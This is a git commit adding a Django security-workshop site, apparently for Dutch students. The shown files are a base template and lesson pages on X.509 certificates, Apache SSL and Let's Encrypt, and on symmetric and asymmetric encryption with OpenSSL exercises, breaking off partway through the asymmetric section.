Introduce django project
This commit is contained in:
1 parent
29eeac4e78
commit
30b8c224c1
28 files changed
+794
-3
No files matched your search
@@ -0,0 +1 @@
|
||||
Internal Server Error
|
||||
Executable
+60
@@ -0,0 +1,60 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<title>Security 1</title>
|
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
|
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/quiz.js"></script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<form method="POST" id="form-quiz">
|
||||
{% csrf_token %}
|
||||
|
||||
<div class="row-fluid">
|
||||
<div class="well span3" id="menu">
|
||||
|
||||
<h5>Security 1</h5>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/sql">SQL Injection</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/xss">Cross-site Scripting</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/wachtwoorden">Wachtwoorden</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/oauth">OAuth</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/certificaten">Certificaten</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/encryptie">Encryptie</a>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
Moeilijkheidsgraad:
|
||||
<select id="difficulty">
|
||||
<option value="easy">Makkelijk (hints zichtbaar)</option>
|
||||
<option value="normal">Normaal (hints optioneel)</option>
|
||||
<option value="hard">Moeilijk (geen hints)</option>
|
||||
</select>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="quiz">
|
||||
|
||||
{% block content %}{% endblock %}
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Executable
+324
@@ -0,0 +1,324 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
|
||||
<h1>Certificaten</h1>
|
||||
|
||||
<p>Bij dit onderdeel gaan we aan de slag met certificaten. De tool die we daarvoor gaan gebruiken is OpenSSL. Dit is een veelgebruikt
|
||||
programma waar je vele cryptografische dingen mee kunt doen.</p>
|
||||
|
||||
<p>Op Linux en Mac OS X is deze tool al geïnstalleerd, Windows gebruikers moeten deze nog installeren. Als je
|
||||
<a href="http://google.nl/?q=openssl+windows+install" target="_blank">zoekt op het internet</a> vindt je verschillende mogelijkheden om dat te doen. Bijvoorbeeld de v.1.1.0f Light versie op
|
||||
<a href="http://slproweb.com/products/Win32OpenSSL.html" target="_blank">deze website</a>. Let op dat je dan op de Windows command line het hele pad moet gebruiken in plaats van alleen 'openssl'.
|
||||
Bijvoorbeeld:
|
||||
<span class="argument">C:\OpenSSL-Win32\bin\openssl.exe</span>
|
||||
</p>
|
||||
|
||||
<p>Als je bij het gebruik van OpenSSL errors krijgt, probeer dan eerst je command prompt als Administrator te openen. En als
|
||||
dat ook niet werkt om het volgende commando uit te voeren:</p>
|
||||
|
||||
<code class="terminal">SET OPENSSL_CONF=[pad naar bestand]\openssl.cfg</code>
|
||||
|
||||
<hr>
|
||||
|
||||
<blockquote>Wie ben jij? En waarom zou ik jou vertrouwen dat je bent wie je zegt dat je bent?</blockquote>
|
||||
|
||||
<p>Dat zijn vragen die webbrowsers elke dag moeten beantwoorden. Een site kan wel vinden dat het www.rabobank.nl is, maar daarmee
|
||||
weet een browser nog niet zeker dat het ook daadwerkelijk de webserver van de Rabobank is. Misschien zit je eigenlijk te
|
||||
communiceren met een server ergens in Rusland van een persoon die maar al te graag je inlogcodes wil weten.</p>
|
||||
|
||||
<p>Om dit probleem op te lossen zijn er certificaten bedacht en vastgelegd in de
|
||||
<a href="http://en.wikipedia.org/wiki/X.509">X.509</a> standaard. Certificaten zijn kleine bestandjes waarin een identiteit staat beschreven. Dit is bijvoorbeeld een
|
||||
certificaat van Paul Wagener:</p>
|
||||
|
||||
<img src="/static/img/certificaat.png" class="center-block" style="border: 1px solid black">
|
||||
|
||||
<p>Nu wil jij natuurlijk meteen een eigen certificaat voor jezelf hebben, en dat kan! Met dit alles-in-1 commando maak je een
|
||||
certificaat dat helemaal van jou is:</p>
|
||||
|
||||
<code class="terminal">openssl req -x509 -nodes -newkey rsa:2048 -keyout sleutel.key -out certificaat.crt</code>
|
||||
|
||||
<p>Dit commando doet een paar dingen tegelijk waar we later op terugkomen. Nadat je de gevraagde informatie hebt ingevuld staat
|
||||
er in het bestand certificaat.crt jouw certificaat. Met dit commando kan je je nieuwe certificaat bewonderen:</p>
|
||||
|
||||
<code class="terminal">openssl x509 -text -in certificaat.crt</code>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Kopieer/plak de inhoud van certificaat.crt (inclusief begin en einde
|
||||
<code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_selfsigned_certificate.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_selfsigned_certificate">{{ answers.answer_openssl_selfsigned_certificate.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Een certificaat heeft ook altijd een
|
||||
<em>verstrekker</em> (issuer). Dit is de persoon of bedrijf die het certificaat heeft gemaakt en daarmee garant staat dat de
|
||||
identiteit die op het certificaat staat ook klopt. In jouw certificaat staat dat je over jezelf hebt gezegd dat je bent
|
||||
wie je zegt dat je bent. Niet echt betrouwbare informatie dus... Iedereen zou precies datzelfde certificaat kunnen maken.</p>
|
||||
|
||||
<p>Het wordt pas interessant en betrouwbaar als andere partijen het certificaat verstrekken en zo kunnen zeggen dat ze de gegevens
|
||||
van het certificaat gecontroleerd hebben. Als jij die verstrekker vertrouwt dat hij zijn werk goed doet met de correctheid
|
||||
van certificaten controleren. Dan vertrouw je ook indirect de gegevens op het certificaat. Zo hoef je maar een handjevol
|
||||
verstrekkers te vertrouwen om bijna alle websites op het internet te kunnen vertrouwen.</p>
|
||||
|
||||
<p>Elke besturingssysteem heeft een lijst van basis verstrekkers die ze impliciet vertrouwen, deze lijst kan je bekijken en
|
||||
veranderen door in je geavanceerde browserinstellingen op zoek te gaan naar een knop 'Beheer certificaten' (te vinden in
|
||||
het Advanced -> Certificates tabblad in Firefox).</p>
|
||||
|
||||
<p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel basis verstrekkers vertrouwt jouw systeem? (je mag ook ongeveer een antwoord geven als het lastig tellen is)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_number_of_issuers.points max="5" %}
|
||||
<input class="question-input" name="answer_openssl_number_of_issuers" value="{{ answers.answer_openssl_number_of_issuers.string }}">
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk het certificaat van
|
||||
<a href="https://facebook.com/" target="_blank">Facebook</a>, welk bedrijf heeft dit certificaat verstrekt?</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_facebook_issuer.points max="5" %}
|
||||
<input class="question-input" name="answer_openssl_facebook_issuer" value="{{ answers.answer_openssl_facebook_issuer.string }}">
|
||||
</div>
|
||||
|
||||
<p class="hint">Hint: Het certificaat kan je in alle browsers bekijken door op het slot-ikoontje te klikken</p>
|
||||
|
||||
<h2>Mag ik uw handtekening?</h2>
|
||||
|
||||
<p>Zo'n certificaat wat je aan jezelf hebt verstrekt vertrouwd natuurlijk niemand. We moeten eerst iemand vinden die jouw
|
||||
certificaat wil ondertekenen.</p>
|
||||
|
||||
<p>Er is een speciaal bestandsformaat om aan een verstrekker te vragen of hij jouw certificaat wil ondertekenen:
|
||||
<b>.csr</b>. Dat staat voor Certificate Signing Request. Een soort van bedelbrief die je rond kan sturen met je certificaat
|
||||
waar nog een verstrekker bij moet.</p>
|
||||
|
||||
<p>Je kan onderstaand commando gebruiken om je eigen gemaakte certificaat als basis te gebruiken voor zo'n Certificate Signing
|
||||
Request:
|
||||
</p>
|
||||
|
||||
<code class="terminal">openssl x509 -x509toreq -in certificaat.crt -signkey sleutel.key -out certificaat_verzoek.csr</code>
|
||||
|
||||
<p>Zo'n verzoekje kan je vervolgens bij een certificaat autoriteit zoals Thawte of VeriSign inleveren. Voor een paar honderd
|
||||
euro zijn ze dan bereid om hun handtekening eronder te zetten.</p>
|
||||
|
||||
<p>Om deze les relatief goedkoop te houden heeft deze site ook een certificaat autoriteit waar je certificaten kan laten ondertekenen:
|
||||
<a href="/sign" target="signen">Certificaat Autoriteit</a>. Gebruik deze site om jouw certificaat te laten ondertekenen</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk het certificaat wat je hebt teruggekregen. Welke persoon heeft dit certificaat aan jou verstrekt?</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_site_issuer.points max="5" %}
|
||||
<input class="question-input" name="answer_openssl_site_issuer" value="{{ answers.answer_openssl_site_issuer.string }}">
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak jouw ondertekende certificaat in onderstaand tekstveld (inclusief begin en einde
|
||||
<code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_signed_cert.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_signed_cert">{{ answers.answer_openssl_signed_cert.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h2>Zelf verstrekken</h2>
|
||||
|
||||
<blockquote>Sometimes, the only one you can trust is yourself.</blockquote>
|
||||
|
||||
<p>Om zelf verstrekker te spelen heb je helemaal geen speciale certificaten nodig. Je kan namelijk gewoon je eigen certificaat
|
||||
en sleutel gebruiken die je aan het begin van de les hebt gemaakt. Vraag een medestudent om een Certificate Signing Request
|
||||
van zijn certificaat te geven en onderteken dat met je eigen certificaat. Zoek op internet het commando op waarmee je
|
||||
dat kan doen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het certificaat van een medestudent, waar je zelf verstrekker van bent. (inclusief begin en einde
|
||||
<code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_sign_other.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_sign_other">{{ answers.answer_openssl_sign_other.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Tip: zorg ervoor dat jouw certificaat standaard wordt geinstalleerd op alle besturingsystemen. Dan kan je goud geld verdienen
|
||||
met het ondertekenen van andere certificaten ;)</p>
|
||||
|
||||
<h2>Websites beveiligen</h2>
|
||||
|
||||
<p>Leuk die certificaten, maar laten we niet vergeten dat we er ook nog wat nuttigs mee kunnen doen. Namelijk onze internetverbindingen
|
||||
beveiligen. Om hiermee te oefenen moet je
|
||||
<a href="/static/vm.zip">deze virtual machine</a> downloaden. Het wachtwoord van deze VM is
|
||||
<b>
|
||||
<i>sec2</i>
|
||||
</b>. We hebben een aantal dingen gewijzigd hierin:</p>
|
||||
|
||||
<ul>
|
||||
<li>Er is een default Apache installatie aanwezig.</li>
|
||||
<li>www.security2.nl en websec.paulwagener.nl wijzen naar de geïnstalleerde Apache op localhost.</li>
|
||||
<li>We hebben
|
||||
<a href="/sign" target="signen">deze verstrekker</a> en het Let's Encrypt test certificaat als vertrouwd toegevoegd aan het systeem (dit kan je terugvinden
|
||||
als je in je browser gaat kijken naar alle certificaten die zijn geïnstalleerd)</li>
|
||||
</ul>
|
||||
|
||||
<p>Controleer eerst of de site http://www.security2.nl in jouw VM te bereiken is, en via http
|
||||
<b>s</b>://www.security2.nl/ nog niet te bereiken is. Je gaat de site in de volgende opgaven beveiligen met SSL, om dat
|
||||
te doen moeten we eerst SSL aanzetten in Apache met de volgende commando's:</p>
|
||||
|
||||
<code class="terminal">sudo a2enmod ssl<br>
|
||||
sudo a2ensite default-ssl<br>
|
||||
sudo service apache2 reload</code>
|
||||
|
||||
<p class="hint">Hint: Commando's vul je in in het programma 'Terminal'</p>
|
||||
|
||||
<p>De site is nu ook via https:// bereikbaar, maar Apache heeft een ongeldig dummy certificaat gebruikt om de site te beveiligen.
|
||||
Om het werkend te krijgen moeten we eerst de volgende stappen uitvoeren:</p>
|
||||
|
||||
<ol>
|
||||
<li>Maak een geheel nieuwe certificaat/sleutel combo aan met het commando bovenaan de pagina. Je mag alles invullen zoals
|
||||
je wil, behalve de Common Name / Server FQDN. Die moet
|
||||
<code>www.security2.nl</code> zijn.</li>
|
||||
<li>Laat het certificaat
|
||||
<a href="/sign" target="signen">hier</a> weer ondertekenen</li>
|
||||
<li>Kopieer het sleutel bestand en het ondertekende certificaat naar de VM</li>
|
||||
<li>Voer het volgende commando uit:
|
||||
<code class="terminal">sudo gedit /etc/apache2/sites-available/default-ssl.conf</code> om de standaard SSL configuratie aan te passen.</li>
|
||||
<li>Verander in dit bestand de
|
||||
<code>SSLCertificateFile</code> en
|
||||
<code>SSLCertificateKeyFile</code> zodat ze naar jouw certificaat en sleutel bestand wijzen</li>
|
||||
<li>Maak je wijzigingen actief door de configuratie opnieuw in te laden:
|
||||
<code class="terminal">sudo service apache2 reload</code>
|
||||
</li>
|
||||
</ol>
|
||||
|
||||
<p>Als je alles goed hebt gedaan is de site nu met SSL beveiligd! Controleer of je de site in de VM nu kan bereiken via https://www.security2.nl/
|
||||
(Alleen Chrome werkt, certificaat is niet aan Firefox toegevoegd). Als je een groen slotje krijgt mag je de volgende
|
||||
vraag beantwoorden:</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het .crt bestand dat je hebt gebruikt om de website te beveiligen met een groen slotje. (inclusief
|
||||
begin en einde
|
||||
<code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_ssl_cert.points max="10" %}
|
||||
<textarea class="question-input" name="answer_openssl_ssl_cert">{{ answers.answer_openssl_ssl_cert.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat en upload die naar
|
||||
<a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_screenshot.points max="10" %}
|
||||
<input class="question-input" name="answer_openssl_screenshot" type="url" value="{{ answers.answer_openssl_screenshot.string }}">
|
||||
</div>
|
||||
|
||||
<img src="/static/img/slotje_certificaat_vm.png" class="center-block screenshot" style="width: 60%">
|
||||
|
||||
<h2>Let's Encrypt</h2>
|
||||
|
||||
<img src="/static/img/letsencrypt_logo.png" class="center-block">
|
||||
|
||||
<p>
|
||||
<b>
|
||||
</b>
|
||||
</p>
|
||||
|
||||
<p>Sinds 2015 is er
|
||||
<a href="https://letsencrypt.org/">een nieuwe speler</a> op de markt die gratis certificaten verstrekt, mits je kan bewijzen dat jouw website van jouw is
|
||||
natuurlijk. Dit gaat met behulp van de command-line
|
||||
<code>letsencrypt</code> tool die automatisch certificaten maakt en ondertekend voor jouw website. Deze tool hebben we al voor je geinstalleerd
|
||||
in de VM.</p>
|
||||
|
||||
<p>We gaan nu websec.paulwagener.nl beveiligen, niet deze website die je nu aan het bekijken bent, maar weer de localhost
|
||||
die in de VM draait. Maar nu gaan we hem met behulp van Let's Encrypt beveiligen.</p>
|
||||
|
||||
<p>
|
||||
<i>Tip:</i>Je mag voor deze opdracht ook een eigen domein dat je hebt beveiligen! Let even op dat de commando's dan niet
|
||||
overal exact hetzelfde zijn. Zeker als je geen Apache gebruikt.</p>
|
||||
|
||||
<p>Controleer eerst dat
|
||||
<b>https</b>://websec.paulwagener.nl// in de VM een fout geeft, dat komt omdat het certificaat van de vorige opdracht nog
|
||||
steeds van www.security2.nl is (als je de vorige opdracht goed hebt gedaan, anders krijg je misschien een andere fout).
|
||||
De browser ziet dat dat niet hetzelfde domein is en geeft terecht een error.</p>
|
||||
|
||||
<p>We gaan beginnen met het aanvragen van een certificaat. Dit doen we met het volgende commando:
|
||||
|
||||
<code class="terminal">sudo letsencrypt certonly --manual --staging</code>
|
||||
|
||||
<p>Even een korte uitleg van dit commando:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>sudo</b>: letsencrypt heeft root rechten nodig, we moeten letsencrypt dus altijd met root rechten uitvoeren</li>
|
||||
<li>
|
||||
<b>letsencrypt</b>: de naam van het scriptje zelf. Als je dit op je eigen server wil doen moet je deze eerst installeren
|
||||
(instructies vind je op de
|
||||
<a href="https://letsencrypt.org/getting-started/">Let's Encrypt website</a> zelf). Afhankelijk van hoe letsencrypt is geinstalleerd kan het commando ook
|
||||
<code>letsencrypt-auto</code>,
|
||||
<code>certbot</code> of
|
||||
<code>certbot-auto</code> zijn.</li>
|
||||
<li>
|
||||
<b>certonly</b>: Standaard wil Let's Encrypt volledig automatisch Apache voor je herconfigureren, maar dat gaat bij
|
||||
ons niet werken omdat de VM niet
|
||||
<i>echt</i> websec.paulwagener.nl is. Met de certonly optie geven we aan dat we alleen geinteresseerd zijn in het maken
|
||||
van nieuwe certificaten.</li>
|
||||
<li>
|
||||
<b>--manual</b>: De Let's Encrypt servers geven niet zomaar certificaten weg, ze willen altijd zeker weten dat het domein
|
||||
waar je een certificaat van aanvraagt ook echt van jou is. Er zijn verschillende manieren om dat te doen, maar ze
|
||||
komen er allemaal op neer dat je een specifiek bestandje moet hosten op je website. Met de manual optie moeten we
|
||||
onze webserver zelf goed configureren dat het bestandje te bereiken is via het domein. De andere opties (
|
||||
<code>--webroot</code>,
|
||||
<code>--apache</code>) proberen het bestandje automatisch te plaatsen en de webserver te configureren. Dat gaat voor deze opdracht niet
|
||||
werken omdat de echte websec.paulwagener.nl veilig ergens draait en van buiten niet te configureren is.</li>
|
||||
<li>
|
||||
<b>--staging</b>: Deze optie zorgt ervoor dat je een certificaat krijgt van de test server in plaats van de echte server.
|
||||
Deze hebben we nodig omdat de echte server een limiet heeft van 5 certificaataanvragen per week per domein. En dat
|
||||
is voor dit vak niet handig. Nadeel van de testserver is dat de certificaten een ongeldige fake verstrekker hebben
|
||||
(in de VM hebben we die fake verstrekker toegevoegd als vertrouwd, zodat je alsnog een groen slotje krijgt.)</li>
|
||||
</ul>
|
||||
|
||||
<p>Als je dit commando voor de eerste keer uitvoert wordt er gevraagd naar je e-mailadres, daar kan je invullen wat je wil.
|
||||
Voor het domein gaan we websec.paulwagener.nl invullen. Als je je eigen domein wil beveiligen vul je hier uiteraard
|
||||
je eigen domein in.</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_domain.png" class="center-block screenshot" style="width: 80%">
|
||||
|
||||
<p>Let's Encrypt vraagt daarna om een bestandje op de server te zetten in een hele specifieke map (.well-known/acme-challenge)
|
||||
op de echte websec.paulwagener.nl server. Normaliter zou dit een probleem zijn, want dat kan alleen als je toegang
|
||||
hebt tot de server. Maar speciaal voor jullie is er
|
||||
<a href="/letsencrypt">een pagina</a> waar je de code kan kopieren en er voor zorgen dat het bestandje 10 minuten lang op onze server wordt
|
||||
gehost!
|
||||
</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_challenge.png" class="center-block screenshot" style="width: 80%">
|
||||
|
||||
<p>Nadat de challenge is geslaagd zal Let's Encrypt nog een melding geven over dat de self-verification failed (in de VM
|
||||
wijst websec.paulwagener.nl immers naar de localhost, en niet naar het bestandje op de echte server). Maar dat kan
|
||||
je negeren, als het goed is gegaan staan de certificaten nu in de map
|
||||
<code>/etc/letsencrypt/live/websec.paulwagener.nl</code>!.
|
||||
|
||||
<img src="/static/img/letsencrypt_congrats.png" class="center-block screenshot" style="width: 80%">
|
||||
|
||||
<p>Met dit commando kan je je nieuwe certificaat bekijken:</p>
|
||||
|
||||
<code class="terminal">sudo gedit /etc/letsencrypt/live/websec.paulwagener.nl/fullchain.pem</code>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het
|
||||
<code>fullchain.pem</code> certificaat voor websec.paulwagener.nl. (inclusief alle begin en einde
|
||||
<code>-----BEGIN CERTIFICATE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_letsencrypt_fullchain.points max="0" %}
|
||||
<textarea class="question-input" name="answer_openssl_letsencrypt_fullchain">{{ answers.answer_openssl_letsencrypt_fullchain.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p>Stel het default-ssl.conf configuratie bestand van Apache nu zo in dat het de certificaten van Let's Encrypt gebruikt:</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_conf.png" class="center-block screenshot">
|
||||
|
||||
<p>Sla het bestand op, reload Apache en als het goed is heb je nu een beveiligde https://websec.paulwagener.nl/, helemaal
|
||||
gratis en voor niets!</p>
|
||||
|
||||
<img src="/static/img/letsencrypt_chrome.png" class="center-block screenshot" style="width: 90%">
|
||||
|
||||
<p>Het zal je misschien opvallen dat de verstrekker Fake is, dat komt omdat we de
|
||||
<code>--staging</code> optie hebben gebruikt. In de VM is deze toegevoegd als iets dat we kunnen vertrouwen (en dus een groen slotje oplevert),
|
||||
maar in de echte wereld is dat niet zo. Zorg er dus bij je eigen website zo dat je niet de --staging optie gebruikt
|
||||
als je voor de echie certificaten aan het maken bent</p>
|
||||
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat (zoals hierboven, maar natuurlijk niet
|
||||
letterlijk dat plaatje, dat hebben we door) en upload die naar
|
||||
<a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_openssl_letsencrypt_screenshot.points max="0" %}
|
||||
<input class="question-input" name="answer_openssl_letsencrypt_screenshot" type="url" value="{{ answers.answer_openssl_letsencrypt_screenshot.string }}">
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,312 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
|
||||
<h1>Encryptie & Signen</h1>
|
||||
|
||||
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p>
|
||||
|
||||
<h2>Symmetrische encryptie</h2>
|
||||
|
||||
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten
|
||||
encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken
|
||||
om je bestanden, berichten en verbindingen te beveiligen.</p>
|
||||
|
||||
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme
|
||||
te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string
|
||||
die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het
|
||||
onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via
|
||||
internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
|
||||
|
||||
<img src="static/img/sym_encryptie.png">
|
||||
|
||||
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime
|
||||
sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met
|
||||
<b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data
|
||||
weer terug te krijgen.</p>
|
||||
|
||||
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft
|
||||
kunnen Alice en Bob veilig met elkaar communiceren.</p>
|
||||
|
||||
<img src="static/img/sym_decryptie.png">
|
||||
|
||||
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende
|
||||
soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
|
||||
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code>
|
||||
|
||||
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<span class="argument">openssl</span> Het programma zelf</li>
|
||||
<li>
|
||||
<span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
|
||||
<li>
|
||||
<span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
|
||||
<ul>
|
||||
<li>
|
||||
<b>aes</b> staat voor
|
||||
<a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li>
|
||||
<li>
|
||||
<b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li>
|
||||
<li>
|
||||
<b>cbc</b> staat voor
|
||||
<a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<span class="argument">-base64</span> lees en schrijf de versleutelde data als
|
||||
<a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden
|
||||
op websites.</li>
|
||||
<li>
|
||||
<span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke
|
||||
data moet zijn. Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data
|
||||
en de uitvoer wordt dan de versleutelde data</li>
|
||||
<li>
|
||||
<span class="argument">-in geheim.txt</span> het invoerbestand</li>
|
||||
<li>
|
||||
<span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
|
||||
</ul>
|
||||
|
||||
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em">
|
||||
|
||||
<p>Een systeembeheerder heeft een geheim staan in dit
|
||||
<a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen:
|
||||
<code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %}
|
||||
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet
|
||||
je de optie `-md sha256` toevoegen.</code>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Versleutel de tekst "
|
||||
<em>Security Workshop</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik
|
||||
<code>Ab12345</code> als wachtwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">Hint: Je kan dit commando gebruiken:
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -in plain.txt -out geheim.aes256.txt</code>
|
||||
</p>
|
||||
|
||||
<h2>Asymmetrische encryptie</h2>
|
||||
|
||||
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen.
|
||||
Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden.
|
||||
Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één
|
||||
privé sleutel.</p>
|
||||
|
||||
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal
|
||||
key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit
|
||||
elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke
|
||||
is.
|
||||
</p>
|
||||
|
||||
<img src="static/img/sleutels_genereren.png">
|
||||
|
||||
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen.
|
||||
Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel.
|
||||
<b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met
|
||||
de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
|
||||
|
||||
<img src="static/img/asym_encryptie.png">
|
||||
|
||||
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische
|
||||
encryptie. Waarom zouden we dit gebruiken?</p>
|
||||
|
||||
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd
|
||||
geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende
|
||||
sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand
|
||||
anders.
|
||||
</p>
|
||||
|
||||
